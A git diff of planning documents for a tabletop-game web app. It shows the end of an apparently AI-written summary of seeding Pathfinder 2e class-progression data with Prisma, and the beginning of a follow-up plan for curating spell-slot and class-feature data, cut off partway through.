- **Type-clean:** `npx tsc --noEmit -p tsconfig.json` exits 0 across all four new files; the cloned Foundry source is excluded from compilation (it ships its own TS source that targets a different toolchain).
|
||||
- **Existing leveling tests still pass:** `npm test -- --testPathPatterns=leveling` reports 55/55 passing.
|
||||
|
||||
## Task Commits
|
||||
|
||||
| Task | Description | Commit |
|
||||
|------|-------------|--------|
|
||||
| 1 | Dev README for the Foundry pf2e clone path | `6567665` (docs) |
|
||||
| 2 | Spell-slot overlay file — types + Wizard worked example | `29fe01d` (feat) |
|
||||
| 3 | Class-feature-options file — types + Wizard School worked example | `d86cf4f` (feat) |
|
||||
| 4 | Seed script — Foundry pf2e + overlays → ClassProgression + ClassFeatureOption | `e85f790` (feat) |
|
||||
| 5 | Run the seed (Wizard end-to-end verification) — path fix + README update | `ce214ab` (fix) |
|
||||
| — | tsconfig exclude foundry-pf2e clone dir (Rule 3 deviation) | `d421aad` (chore) |
|
||||
|
||||
## Verification Output
|
||||
|
||||
```
|
||||
$ cd server && npm run db:seed:class-progression
|
||||
Seeding ClassProgression for 16 classes x 20 levels...
|
||||
ClassProgression: 0 created, 320 updated, 0 errors
|
||||
Seeding 1 ClassFeatureOption rows...
|
||||
ClassFeatureOption: 0 created, 1 updated, 0 errors
|
||||
ClassProgression + ClassFeatureOption seed complete.
|
||||
```
|
||||
|
||||
```
|
||||
$ cd server && npm test -- --testPathPatterns=leveling
|
||||
Test Suites: 5 passed, 5 total
|
||||
Tests: 55 passed, 55 total
|
||||
```
|
||||
|
||||
Wizard L1 row queried via the Prisma client (verification helper, not committed):
|
||||
|
||||
```json
|
||||
{
|
||||
"className": "Wizard",
|
||||
"level": 1,
|
||||
"grants": ["Wizard Spellcasting", "Arcane School", "Arcane Bond", "Arcane Thesis"],
|
||||
"proficiencyChanges": { "will": "TRAINED", "reflex": "UNTRAINED", "fortitude": "UNTRAINED" },
|
||||
"spellSlotIncrement": { "count": 2, "tradition": "ARCANE", "spellLevel": 1 },
|
||||
"cantripIncrement": 5,
|
||||
"repertoireIncrement": null,
|
||||
"choiceType": "school",
|
||||
"choiceOptionsRef": "wizard-school"
|
||||
}
|
||||
```
|
||||
|
||||
Wizard L1..L5 spell-slot progression (matches AoN canonical Wizard table):
|
||||
|
||||
| Level | Slot increment | Cantrip increment |
|
||||
|-------|----------------|-------------------|
|
||||
| 1 | ARCANE / L1 / count=2 | 5 |
|
||||
| 2 | ARCANE / L1 / count=1 | — |
|
||||
| 3 | ARCANE / L2 / count=2 | — |
|
||||
| 4 | ARCANE / L2 / count=1 | — |
|
||||
| 5 | ARCANE / L3 / count=2 | — |
|
||||
|
||||
(Continues through L19 with the L10 capstone — matches Player Core / APG.)
|
||||
|
||||
## Decisions Made
|
||||
|
||||
- **Foundry tag = pf2e-8.0.3 (Pathfinder 2e v8).** The current Foundry pf2e repo bundles both PF2E and SF2E (Starfinder 2e) under one tree, so tags are now prefixed `pf2e-` or `sf2e-`. `pf2e-8.0.3` is the latest stable PF2E release with Player Core + APG content. Recorded both in SEED-README and in the seed script comment.
|
||||
- **v8 pack layout discovered at run time.** The plan's instructions referenced `packs/classes/` (Foundry pf2e v7 layout). The cloned v8 tree ships pf2e packs under `packs/pf2e/classes/`. Documented in SEED-README as a layout note and in the seed script's `FOUNDRY_CLASSES_DIR` comment.
|
||||
- **Prisma.JsonNull for nullable Json fields.** Prisma 7's `Json?` typed inputs reject JS `null` and require the sentinel `Prisma.JsonNull` to distinguish "set to JSON null" from "leave column unchanged". Both `spellSlotIncrement` (in ClassProgression) and `proficiencyChanges` (in ClassFeatureOption when undefined on the entry) use this sentinel.
|
||||
- **All 16 class keys must be present in SPELL_SLOT_OVERLAY.** Even when a class's array is empty (Plan 03b stub), the key exists so the seed's `(SPELL_SLOT_OVERLAY[className] || []).filter(...)` never accidentally elides a class because of a typo. This is the contract Plan 03b appends to.
|
||||
|
||||
## Deviations from Plan
|
||||
|
||||
### Auto-fixed Issues
|
||||
|
||||
**1. [Rule 3 — Blocking] Worktree had no node_modules and no .env file**
|
||||
- **Found during:** Task 4 verification (running `npx tsc --noEmit`)
|
||||
- **Issue:** The parallel-execution worktree was created clean (no `npm install` had been run, `.env` is gitignored so it didn't transfer). Without these, `prisma`, `tsx`, `jest`, and the Prisma adapter failed to resolve.
|
||||
- **Fix:** Copied `server/.env` from the parent repo into the worktree (file is gitignored and identical) and ran `npm install` in `server/`. Same fix Plan 01-01 documented.
|
||||
- **Files modified:** `server/.env` (gitignored, not staged), `server/node_modules/` (gitignored), `server/package-lock.json` (gitignored, not modified)
|
||||
- **Commit:** N/A — environment setup, no source files changed
|
||||
|
||||
**2. [Rule 1 — Bug] Foundry pf2e v8 packs path differs from plan's documented v7 path**
|
||||
- **Found during:** Task 5 Step 2 (verifying clone has class JSONs)
|
||||
- **Issue:** Plan and SEED-README documented `packs/classes/` (correct for Foundry pf2e v7). Cloned `pf2e-8.0.3` placed pf2e content under `packs/pf2e/classes/`. The seed script's `FOUNDRY_CLASSES_DIR` constant pointed at the v7 path and would have failed loudly with "Foundry pf2e clone not found".
|
||||
- **Fix:** Updated `FOUNDRY_CLASSES_DIR` in `seed-class-progression.ts` to `packs/pf2e/classes/`, added a Pitfall #5 comment block explaining the version-specific path, and added a "Foundry pf2e v8 layout note" section to SEED-README.md plus updated the failure-mode error path string.
|
||||
- **Files modified:** `server/prisma/seed-class-progression.ts`, `.planning/phases/01-level-up-pf2e-regelkonform/SEED-README.md`
|
||||
- **Commit:** `ce214ab`
|
||||
|
||||
**3. [Rule 1 — Bug] Prisma 7 typed-input rejected JS null for nullable Json fields**
|
||||
- **Found during:** Task 4 type-check (`npx tsc --noEmit`)
|
||||
- **Issue:** `Type ... is not assignable to type 'InputJsonValue | NullableJsonNullValueInput | undefined'`. Prisma 7 differentiates "set to JSON null" (`Prisma.JsonNull`) from "leave unchanged" (omit the field) and JS `null` is not accepted in either slot for `Json?` columns.
|
||||
- **Fix:** Imported `Prisma` namespace from the generated client. Replaced `?? null` with `?? Prisma.JsonNull` for `spellSlotIncrement` (in `buildProgressionRow`) and `proficiencyChanges` (in `seedClassFeatureOptions`). Typed `buildProgressionRow`'s return as `Prisma.ClassProgressionUncheckedCreateInput` so future schema drift surfaces as a TS error at the boundary.
|
||||
- **Files modified:** `server/prisma/seed-class-progression.ts`
|
||||
- **Commit:** `e85f790` (the corrected file was the one committed; pre-fix code was never committed)
|
||||
|
||||
**4. [Rule 3 — Blocking] tsc --noEmit picked up TS errors in the cloned Foundry source**
|
||||
- **Found during:** Final verification before SUMMARY
|
||||
- **Issue:** Foundry pf2e ships its own TS source at `prisma/data/foundry-pf2e/types/...` and `prisma/data/foundry-pf2e/vite.config.ts`. These reference modules our project doesn't have (`@common/...`, `svelte`, `vite`, `peggy`) and produce ~25 `tsc --noEmit` errors that have nothing to do with our code.
|
||||
- **Fix:** Added `prisma/data/foundry-pf2e` to `tsconfig.json` `exclude` list (alongside `node_modules` and `dist`). The clone is gitignored and the seed reads it as raw JSON, so excluding it from compilation is correct and surgical.
|
||||
- **Files modified:** `server/tsconfig.json`
|
||||
- **Commit:** `d421aad`
|
||||
|
||||
---
|
||||
|
||||
**Total deviations:** 4 (1 environment infra, 1 Foundry data-shape correction, 1 Prisma 7 typed-input correction, 1 third-party-source exclusion).
|
||||
**Impact on plan:** None of the deviations changed plan scope. All were correctness fixes required to make the plan run cleanly on this worktree.
|
||||
|
||||
### Authentication Gates
|
||||
|
||||
None — seed pipeline is local-only.
|
||||
|
||||
### Architectural Changes
|
||||
|
||||
None — schema was authored in Plan 01-01; this plan only seeds it.
|
||||
|
||||
## Issues Encountered
|
||||
|
||||
- **Plan referenced v7 path `packs/classes/`.** Documented in plan and research. Resolved by Rule 1 fix as above; v8 layout is now noted in SEED-README and code comments so future re-cloning to a different major version surfaces the issue immediately.
|
||||
- **No psql in shell.** The plan's verification step recommended `psql $DATABASE_URL -c '...'`. The Windows shell here doesn't have psql. Wrote a temporary `verify-plan-03-wizard.ts` helper using the existing Prisma client, ran it, captured the output for this Summary, then deleted it. Verification result documented in §Verification Output above. The Prisma-client query approach yields the same information the plan's psql commands would have.
|
||||
|
||||
## User Setup Required
|
||||
|
||||
None for this plan. The dev who maintains the project does need to clone the Foundry pf2e repo at the pinned tag for future fresh clones — the README documents the exact command.
|
||||
|
||||
## Plan 03b Readiness
|
||||
|
||||
Plan 03b can append data to `spell-slot-overlays.ts` and `class-feature-options.ts` and re-run `npm run db:seed:class-progression` without touching the seed script. The contract Plan 03b consumes:
|
||||
|
||||
1. `SpellSlotOverlayEntry` interface — extend `SPELL_SLOT_OVERLAY[className]` arrays for Cleric/Druid/Witch/Bard/Sorcerer/Oracle/Champion. Empty `[]` arrays for non-casters can stay or be removed.
|
||||
2. `ClassFeatureOptionEntry` interface — append entries below the anchor comments in `CLASS_FEATURE_OPTIONS`. The `optionsRef` strings already match what `seed-class-progression.ts L1_CHOICE_MAP` emits onto each class's L1 row.
|
||||
3. The `optionsRef`/`optionKey` compound key is `Prisma.@@unique([optionsRef, optionKey])` — Plan 03b's bulk-append must keep `optionKey` unique within an `optionsRef`.
|
||||
|
||||
Re-running the seed after Plan 03b's append will report the count of new ClassFeatureOption rows created and the existing 320 ClassProgression rows updated in place with new overlay data.
|
||||
|
||||
## Threat Flags
|
||||
|
||||
None — no new network endpoints, auth paths, file-access patterns, or schema changes at trust boundaries beyond what the plan's threat register already covered.
|
||||
|
||||
## Self-Check: PASSED
|
||||
|
||||
**Verified files exist:**
|
||||
- `.planning/phases/01-level-up-pf2e-regelkonform/SEED-README.md` (FOUND)
|
||||
- `server/prisma/data/spell-slot-overlays.ts` (FOUND)
|
||||
- `server/prisma/data/class-feature-options.ts` (FOUND)
|
||||
- `server/prisma/seed-class-progression.ts` (FOUND)
|
||||
- `server/tsconfig.json` (FOUND, modified — exclude added)
|
||||
|
||||
**Verified commits exist on this branch:**
|
||||
- `6567665` — docs(01-03): add SEED-README with Foundry pf2e clone instructions and pinned tag
|
||||
- `29fe01d` — feat(01-03): add spell-slot overlay types with Wizard worked example
|
||||
- `d86cf4f` — feat(01-03): add class-feature-options types with Wizard School worked example
|
||||
- `e85f790` — feat(01-03): add idempotent ClassProgression + ClassFeatureOption seed script
|
||||
- `ce214ab` — fix(01-03): align Foundry path with pf2e-8.0.3 layout
|
||||
- `d421aad` — chore(01-03): exclude foundry-pf2e dev clone from tsconfig
|
||||
|
||||
**Verified runtime checks:**
|
||||
- `npx tsc --noEmit -p tsconfig.json` exits 0 (foundry-pf2e clone excluded; project code clean)
|
||||
- `npm run db:seed:class-progression` first run: 320 created / 1 created
|
||||
- `npm run db:seed:class-progression` second/third runs: 0 created / 320 updated / 0 errors (idempotent)
|
||||
- Wizard L1 row query returns full structure with ARCANE slot progression, cantrip=5, choiceType=school
|
||||
- Wizard L1..L19 carry non-null spellSlotIncrement; ClassFeatureOption has 1 row for `wizard-school`
|
||||
- Existing 55 leveling tests still pass
|
||||
|
||||
---
|
||||
*Phase: 01-level-up-pf2e-regelkonform*
|
||||
*Completed: 2026-04-27*
|
||||
502
.planning/phases/01-level-up-pf2e-regelkonform/01-03b-PLAN.md
Normal file
502
.planning/phases/01-level-up-pf2e-regelkonform/01-03b-PLAN.md
Normal file
@@ -0,0 +1,502 @@
|
||||
---
|
||||
phase: 01-level-up-pf2e-regelkonform
|
||||
plan: 03b
|
||||
type: execute
|
||||
wave: 3
|
||||
depends_on: ["01-01", "01-02", "01-03"]
|
||||
files_modified:
|
||||
- server/prisma/data/spell-slot-overlays.ts
|
||||
- server/prisma/data/class-feature-options.ts
|
||||
autonomous: true
|
||||
requirements: [LVL-08, LVL-14]
|
||||
tags: [seeding, curation, spellcaster, class-features, level-up, data-only]
|
||||
must_haves:
|
||||
truths:
|
||||
- "After Plan 03b appends data and the seed re-runs, spell-slot-overlays.ts has L1..L20 entries for the 6 remaining caster classes (Cleric, Druid, Witch, Bard, Sorcerer, Oracle) and minimal Champion entries — total ≥120 spell-slot/cantrip/repertoire entries across all casters."
|
||||
- "After Plan 03b appends data and the seed re-runs, class-feature-options.ts contains the joint-goal of ≥50 ClassFeatureOption entries across all classes that have L1 (or other) choice points (Plan 03 ships ≥1; Plan 03b ships ≥49 more)."
|
||||
- "Spontaneous casters (Bard, Sorcerer, Oracle) have at least one repertoireIncrement entry per the D-18 contract."
|
||||
- "Re-running `npm run db:seed:class-progression` after the data appends results in `0 created, ≥320 updated` for ClassProgression and ≥49 newly created ClassFeatureOption rows on the first re-run."
|
||||
- "No code changes to seed-class-progression.ts — the script's iteration over D16_CLASS_NAMES + array iteration over CLASS_FEATURE_OPTIONS already handles the new entries."
|
||||
- "Cross-references are intact: every choiceOptionsRef set in seed-class-progression.ts L1_CHOICE_MAP has at least one matching ClassFeatureOption row after this plan."
|
||||
artifacts:
|
||||
- path: "server/prisma/data/spell-slot-overlays.ts"
|
||||
provides: "Entries for Cleric/Druid/Witch/Bard/Sorcerer/Oracle/Champion appended (replacing the [] stubs from Plan 03). Wizard remains untouched."
|
||||
contains: "SPELL_SLOT_OVERLAY"
|
||||
- path: "server/prisma/data/class-feature-options.ts"
|
||||
provides: "≥49 additional ClassFeatureOption entries appended (Cleric Doctrines, Champion Causes, Druid Orders, Sorcerer Bloodlines, Bard Muses, Barbarian Instincts, Witch Patrons, Oracle Mysteries, Investigator Methodologies, Ranger Edges, Rogue Rackets, Swashbuckler Styles, Alchemist Research Fields, plus remaining Wizard Schools)."
|
||||
contains: "CLASS_FEATURE_OPTIONS"
|
||||
key_links:
|
||||
- from: "spell-slot-overlays.ts"
|
||||
to: "ClassProgression rows (via seed-class-progression.ts)"
|
||||
via: "seed re-run picks up the appended entries automatically"
|
||||
pattern: "SPELL_SLOT_OVERLAY"
|
||||
- from: "class-feature-options.ts"
|
||||
to: "ClassFeatureOption table"
|
||||
via: "seed re-run iterates over CLASS_FEATURE_OPTIONS array"
|
||||
pattern: "CLASS_FEATURE_OPTIONS"
|
||||
- from: "class-feature-options.ts optionsRef"
|
||||
to: "seed-class-progression.ts L1_CHOICE_MAP / HIGHER_LEVEL_CHOICES"
|
||||
via: "stable string match (e.g. 'cleric-doctrine')"
|
||||
pattern: "optionsRef.*[a-z-]+"
|
||||
---
|
||||
|
||||
<objective>
|
||||
Bulk curation pass for Phase 1 ClassProgression seeding. Plan 03 owns the pipeline + Wizard worked example; Plan 03b owns the data entry for the remaining 15 classes — populating `spell-slot-overlays.ts` for the 6 other caster classes and `class-feature-options.ts` for all classes with L1 (or other) choice points.
|
||||
|
||||
Why split: this is curation work transcribed from Archives of Nethys per-class entries. Independent rows, no shared logic, no schema changes. Splitting it out gives the curation a separate review surface (a reviewer can audit L1 Cleric Doctrines without paging through pipeline code) and isolates the data-entry pass into its own wave. Plan 03b runs in Wave 3 directly after Plan 03 (Wave 2) because both modify the same data files (`spell-slot-overlays.ts`, `class-feature-options.ts`), so file-ownership rules require sequential execution.
|
||||
|
||||
Purpose: After Plan 03b, the seed produces a complete dataset that satisfies LVL-08 + LVL-14 across all 16 D-16 classes — Plan 04's atomic commit transaction can recompute correctly for any class/level combination.
|
||||
|
||||
Output: Two data files extended with appended entries. No code changes. Re-running the seed bulk-updates the database.
|
||||
</objective>
|
||||
|
||||
<execution_context>
|
||||
@$HOME/.claude/get-shit-done/workflows/execute-plan.md
|
||||
@$HOME/.claude/get-shit-done/templates/summary.md
|
||||
</execution_context>
|
||||
|
||||
<context>
|
||||
@.planning/PROJECT.md
|
||||
@.planning/REQUIREMENTS.md
|
||||
@.planning/phases/01-level-up-pf2e-regelkonform/01-CONTEXT.md
|
||||
@.planning/phases/01-level-up-pf2e-regelkonform/01-RESEARCH.md
|
||||
@.planning/phases/01-level-up-pf2e-regelkonform/01-03-SUMMARY.md
|
||||
@server/prisma/data/spell-slot-overlays.ts
|
||||
@server/prisma/data/class-feature-options.ts
|
||||
@server/prisma/seed-class-progression.ts
|
||||
|
||||
<interfaces>
|
||||
<!-- Plan 03 already established these contracts; Plan 03b appends only -->
|
||||
|
||||
<!-- spell-slot-overlays.ts shape (from Plan 03 Task 2): -->
|
||||
```typescript
|
||||
export type SpellTradition = 'ARCANE' | 'DIVINE' | 'OCCULT' | 'PRIMAL';
|
||||
export interface SpellSlotOverlayEntry {
|
||||
level: number;
|
||||
spellSlotIncrement?: { tradition: SpellTradition; spellLevel: number; count: number };
|
||||
cantripIncrement?: number;
|
||||
repertoireIncrement?: number;
|
||||
}
|
||||
export const SPELL_SLOT_OVERLAY: Record<string, SpellSlotOverlayEntry[]> = {
|
||||
Wizard: [ ... 19 entries ... ], // <-- DO NOT TOUCH (Plan 03 owns Wizard)
|
||||
Cleric: [], // <-- Plan 03b populates this
|
||||
Druid: [], // <-- Plan 03b populates this
|
||||
Witch: [], // <-- Plan 03b populates this
|
||||
Bard: [], // <-- Plan 03b populates this (with repertoireIncrement entries — D-18)
|
||||
Sorcerer: [], // <-- Plan 03b populates this (with repertoireIncrement entries — D-18)
|
||||
Oracle: [], // <-- Plan 03b populates this (with repertoireIncrement entries — D-18)
|
||||
Champion: [], // <-- Plan 03b populates this (focus-only, minimal)
|
||||
Alchemist: [], // <-- Plan 03b confirms empty
|
||||
Barbarian: [], // <-- Plan 03b confirms empty
|
||||
Fighter: [], // <-- Plan 03b confirms empty
|
||||
Investigator: [], // <-- Plan 03b confirms empty
|
||||
Monk: [], // <-- Plan 03b confirms empty
|
||||
Ranger: [], // <-- Plan 03b confirms empty
|
||||
Rogue: [], // <-- Plan 03b confirms empty
|
||||
Swashbuckler: [], // <-- Plan 03b confirms empty
|
||||
};
|
||||
```
|
||||
|
||||
<!-- class-feature-options.ts shape (from Plan 03 Task 3): -->
|
||||
```typescript
|
||||
export interface ClassFeatureOptionEntry {
|
||||
optionsRef: string;
|
||||
optionKey: string;
|
||||
name: string;
|
||||
nameGerman?: string;
|
||||
description: string;
|
||||
grants: string[];
|
||||
proficiencyChanges?: Partial<Record<'fortitude' | 'reflex' | 'will' | 'perception' | 'classDc' | 'ac', Proficiency>>;
|
||||
}
|
||||
export const CLASS_FEATURE_OPTIONS: ClassFeatureOptionEntry[] = [
|
||||
// 1 Wizard School entry from Plan 03 (battle-magic) — DO NOT TOUCH
|
||||
// Plan 03b appends ≥49 more entries below
|
||||
];
|
||||
```
|
||||
|
||||
<!-- L1_CHOICE_MAP (from seed-class-progression.ts in Plan 03 Task 4) -->
|
||||
<!-- Stable optionsRef strings that Plan 03b's CLASS_FEATURE_OPTIONS entries MUST match: -->
|
||||
<!-- 'cleric-doctrine', 'wizard-school', 'champion-cause', 'druid-order', -->
|
||||
<!-- 'sorcerer-bloodline', 'bard-muse', 'barbarian-instinct', 'witch-patron', -->
|
||||
<!-- 'oracle-mystery', 'investigator-methodology', 'ranger-edge', 'rogue-racket', -->
|
||||
<!-- 'swashbuckler-style', 'alchemist-research-field' -->
|
||||
<!-- + Higher-level: 'fighter-weapon-mastery' (L5) -->
|
||||
</interfaces>
|
||||
</context>
|
||||
|
||||
<tasks>
|
||||
|
||||
<task type="auto" tdd="false">
|
||||
<name>Task 1: Append spell-slot overlay entries for the 6 remaining caster classes (Cleric, Druid, Witch, Bard, Sorcerer, Oracle) + minimal Champion</name>
|
||||
<files>server/prisma/data/spell-slot-overlays.ts</files>
|
||||
<read_first>
|
||||
- server/prisma/data/spell-slot-overlays.ts (the Plan 03 file with stubs in place — append values into the existing keys)
|
||||
- .planning/phases/01-level-up-pf2e-regelkonform/01-CONTEXT.md (D-18 — spontaneous casters get repertoire)
|
||||
- .planning/phases/01-level-up-pf2e-regelkonform/01-RESEARCH.md (lines 656-661 — Pitfall #6 hand-curation rationale)
|
||||
- Archives of Nethys class entries (cited as authoritative source for hand-curation):
|
||||
- Cleric: https://2e.aonprd.com/Classes.aspx?ID=4
|
||||
- Druid: https://2e.aonprd.com/Classes.aspx?ID=6
|
||||
- Witch: https://2e.aonprd.com/Classes.aspx?ID=27
|
||||
- Bard: https://2e.aonprd.com/Classes.aspx?ID=2
|
||||
- Sorcerer: https://2e.aonprd.com/Classes.aspx?ID=15
|
||||
- Oracle: https://2e.aonprd.com/Classes.aspx?ID=12
|
||||
- Champion: https://2e.aonprd.com/Classes.aspx?ID=3
|
||||
(URL IDs are illustrative — verify current canonical URLs at execution time.)
|
||||
</read_first>
|
||||
<action>
|
||||
Open `server/prisma/data/spell-slot-overlays.ts`. The file (from Plan 03) already declares all 16 D-16 keys; the 6 caster classes + Champion currently hold `[]`. **Replace each `[]` with the curated array** for that class.
|
||||
|
||||
**Reference template (Wizard, fully populated by Plan 03 — DO NOT modify Wizard):**
|
||||
|
||||
```typescript
|
||||
Wizard: [
|
||||
{ level: 1, cantripIncrement: 5 },
|
||||
{ level: 1, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 1, count: 2 } },
|
||||
{ level: 2, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 1, count: 1 } },
|
||||
{ level: 3, spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 2, count: 2 } },
|
||||
// ... continues to L19 with the +2/+1 cadence
|
||||
],
|
||||
```
|
||||
|
||||
**Per-class curation requirements:**
|
||||
|
||||
**Cleric** (PREPARED, DIVINE) — same +2/+1 cadence as Wizard, replacing tradition with `'DIVINE'`. L1: `cantripIncrement: 5` + `spellSlotIncrement: { tradition: 'DIVINE', spellLevel: 1, count: 2 }`. Continue per AoN Cleric spell-slot table through L19. Expected ~19-20 entries.
|
||||
|
||||
**Druid** (PREPARED, PRIMAL) — same cadence, tradition `'PRIMAL'`. L1: 5 cantrips + 2 grade-1 slots. Continue per AoN Druid table through L19. Expected ~19-20 entries.
|
||||
|
||||
**Witch** (PREPARED) — Witch tradition depends on patron (which the player picks at L1). For the overlay, default to `'ARCANE'` and document the caveat in a comment above the Witch array:
|
||||
```typescript
|
||||
// CAVEAT: Witch tradition depends on patron (Plan 03b — picked in wizard at L1).
|
||||
// The overlay defaults to ARCANE for slot bookkeeping; the recompute pipeline (Plan 04)
|
||||
// may need to remap this to the actual patron's tradition at commit time. For Phase 1
|
||||
// we accept the default — the slot count is the same regardless of tradition.
|
||||
```
|
||||
Same +2/+1 cadence per AoN Witch table. Expected ~19-20 entries.
|
||||
|
||||
**Bard** (SPONTANEOUS, OCCULT) — D-18 requires `repertoireIncrement` entries on each level-up. L1: `cantripIncrement: 5` + `spellSlotIncrement: { tradition: 'OCCULT', spellLevel: 1, count: 2 }`. From L2 onward, add `repertoireIncrement: 1` per level the spontaneous caster table grants a new spell-known. Per AoN Bard repertoire growth: typically +1 spell per spell-level per level after L2. Expected ~25-30 entries (slot rows + repertoire rows). Use multiple entries per level when both apply (e.g. L3 Bard gets a grade-2 slot AND a repertoire-pick — two separate entries).
|
||||
|
||||
**Sorcerer** (SPONTANEOUS) — Tradition depends on bloodline (similar caveat as Witch). Default to `'ARCANE'`. Per AoN Sorcerer table:
|
||||
- L1: `cantripIncrement: 5` + `spellSlotIncrement: { tradition: 'ARCANE', spellLevel: 1, count: 3 }` (Sorcerer L1 = 3 grade-1 slots)
|
||||
- Add `repertoireIncrement` entries per level per AoN.
|
||||
Document the bloodline-tradition caveat in a comment.
|
||||
Expected ~25-30 entries.
|
||||
|
||||
**Oracle** (SPONTANEOUS, DIVINE) — Tradition is fixed (DIVINE — Mystery doesn't change it). L1: `cantripIncrement: 5` + `spellSlotIncrement: { tradition: 'DIVINE', spellLevel: 1, count: 3 }` (3 grade-1 slots like Sorcerer). Add `repertoireIncrement` entries per level per AoN. Expected ~25-30 entries.
|
||||
|
||||
**Champion** — focus-only caster (Devotion Spells via focus pool, NOT slot-based). Phase 1 records minimal entries:
|
||||
```typescript
|
||||
Champion: [
|
||||
// Focus-only caster -- focus-spell mechanics handled outside slot table (Plan 04 Phase 2 may
|
||||
// add focus-pool tracking). Phase 1 treats Champion as effectively non-caster for slots.
|
||||
// No cantrip/slot entries here.
|
||||
],
|
||||
```
|
||||
Champion remains `[]` (or with the explanatory comment) — this is correct.
|
||||
|
||||
**Total expected entries across the 7 added classes:** 19 (Cleric) + 19 (Druid) + 19 (Witch) + 28 (Bard) + 28 (Sorcerer) + 28 (Oracle) + 0 (Champion) ≈ **141 new entries**, comfortably above the ≥120 must_haves goal.
|
||||
|
||||
**Constraints:**
|
||||
- Do NOT modify the Wizard array (Plan 03 owns it).
|
||||
- Do NOT remove any of the 16 keys (the seed depends on key presence, even if the value is `[]`).
|
||||
- Every entry strictly typed against `SpellSlotOverlayEntry` — no `: any`.
|
||||
- Cite the AoN source (URL or page) in a comment block above each newly-populated class.
|
||||
</action>
|
||||
<verify>
|
||||
<automated>cd server && npx tsc --noEmit -p tsconfig.json 2>&1 | grep -E "spell-slot-overlays" || echo "tsc clean"</automated>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- File `server/prisma/data/spell-slot-overlays.ts` still contains all 16 D-16 class keys (no key removed)
|
||||
- Wizard array still has at least 19 entries (Plan 03 unchanged)
|
||||
- Cleric, Druid, Witch arrays each have at least 18 entries
|
||||
- Bard, Sorcerer, Oracle arrays each have at least 1 `repertoireIncrement` entry (D-18) AND at least 18 entries total
|
||||
- Total entries across all caster classes is at least 120 (verifiable via grep counting `level:` keys outside the Wizard block)
|
||||
- File contains NO `: any` outside comments
|
||||
- `cd server && npx tsc --noEmit` exits 0
|
||||
</acceptance_criteria>
|
||||
<done>
|
||||
Spell-slot overlay file extended with curated data for the 6 other casters + Champion. Type-clean. Wizard unchanged.
|
||||
</done>
|
||||
</task>
|
||||
|
||||
<task type="auto" tdd="false">
|
||||
<name>Task 2: Append ClassFeatureOption entries for the 13 remaining classes (Cleric, Champion, Druid, Sorcerer, Bard, Barbarian, Witch, Oracle, Investigator, Ranger, Rogue, Swashbuckler, Alchemist) + remaining Wizard Schools</name>
|
||||
<files>server/prisma/data/class-feature-options.ts</files>
|
||||
<read_first>
|
||||
- server/prisma/data/class-feature-options.ts (the Plan 03 file — append into CLASS_FEATURE_OPTIONS array using the section anchors)
|
||||
- server/prisma/seed-class-progression.ts (Plan 03 — verify L1_CHOICE_MAP optionsRef strings match exactly)
|
||||
- .planning/phases/01-level-up-pf2e-regelkonform/01-CONTEXT.md (D-15 — choiceOptionsRef; D-19 — Wahl-Klassenmerkmale)
|
||||
- server/prisma/schema.prisma (verify ResearchField enum for Alchemist optionKey alignment)
|
||||
- Archives of Nethys class entries — see Task 1's URL list, plus:
|
||||
- Investigator: https://2e.aonprd.com/Classes.aspx?ID=8
|
||||
- Ranger: https://2e.aonprd.com/Classes.aspx?ID=13
|
||||
- Rogue: https://2e.aonprd.com/Classes.aspx?ID=14
|
||||
- Swashbuckler: https://2e.aonprd.com/Classes.aspx?ID=16
|
||||
- Alchemist: https://2e.aonprd.com/Classes.aspx?ID=1
|
||||
- Barbarian: https://2e.aonprd.com/Classes.aspx?ID=2 (verify ID — this clashes with Bard above; use the canonical AoN landing page)
|
||||
</read_first>
|
||||
<action>
|
||||
Open `server/prisma/data/class-feature-options.ts`. The file (from Plan 03) already has the type definitions and 1 Wizard School entry. **Append additional entries to the `CLASS_FEATURE_OPTIONS` array**, organized into the section blocks the Plan 03 file already comments out.
|
||||
|
||||
**Per-class curation requirements (joint goal: ≥50 entries total across this file; Plan 03 ships 1 → Plan 03b ships ≥49 more):**
|
||||
|
||||
1. **Wizard Schools** (optionsRef: `'wizard-school'`) — Plan 03 has `battle-magic`. Add: `civic-wizardry`, `mentalism`, `protean-form`, `unified-magical-theory`, `universalist`. Expected: 5 more.
|
||||
|
||||
2. **Cleric Doctrines** (optionsRef: `'cleric-doctrine'`) — Player Core: `cloistered-cleric`, `warpriest`. Add any APG additions. Expected: 2-4.
|
||||
|
||||
3. **Champion Causes** (optionsRef: `'champion-cause'`) — `liberator`, `paladin`, `redeemer`, plus Evil-aligned `antipaladin`, `tyrant`, `desecrator`, plus any neutral or remaster-equivalent. Expected: 6.
|
||||
|
||||
4. **Druid Orders** (optionsRef: `'druid-order'`) — `animal`, `leaf`, `storm`, `wild`, plus APG additions. Expected: 4-5.
|
||||
|
||||
5. **Sorcerer Bloodlines** (optionsRef: `'sorcerer-bloodline'`) — `aberrant`, `angelic`, `demonic`, `diabolic`, `draconic`, `elemental`, `fey`, `genie`, `hag`, `imperial`, `nymph`, `phoenix`, `psychopomp`, `shadow`, `undead`, plus APG additions. Expected: ≥15.
|
||||
|
||||
6. **Bard Muses** (optionsRef: `'bard-muse'`) — `enigma`, `maestro`, `polymath`, plus APG (`warrior` etc.). Expected: 3-4.
|
||||
|
||||
7. **Barbarian Instincts** (optionsRef: `'barbarian-instinct'`) — `animal`, `dragon`, `fury`, `giant`, `spirit`, plus APG (`superstition` etc.). Expected: 5-6.
|
||||
|
||||
8. **Witch Patrons** (optionsRef: `'witch-patron'`) — `faith`, `fervor`, `mosquito-witch`, `resentment`, `silence`, `spinner-of-threads`, `starless-shadow`, `wilding`, plus any Curse-of-the-Hag-Eye etc. Expected: ≥5.
|
||||
|
||||
9. **Oracle Mysteries** (optionsRef: `'oracle-mystery'`) — `battle`, `bones`, `cosmos`, `flames`, `life`, `lore`, `tempest`, plus APG. Expected: ≥7.
|
||||
|
||||
10. **Investigator Methodologies** (optionsRef: `'investigator-methodology'`) — `empiricism`, `forensic-medicine`, `interrogation`, `sensate`, `stratagem` (or whatever exists in APG). Expected: 3-5.
|
||||
|
||||
11. **Ranger Edges** (optionsRef: `'ranger-edge'`) — `flurry`, `outwit`, `precision`. Expected: 3.
|
||||
|
||||
12. **Rogue Rackets** (optionsRef: `'rogue-racket'`) — `eldritch-trickster`, `mastermind`, `ruffian`, `scoundrel`, `thief`. Expected: 5.
|
||||
|
||||
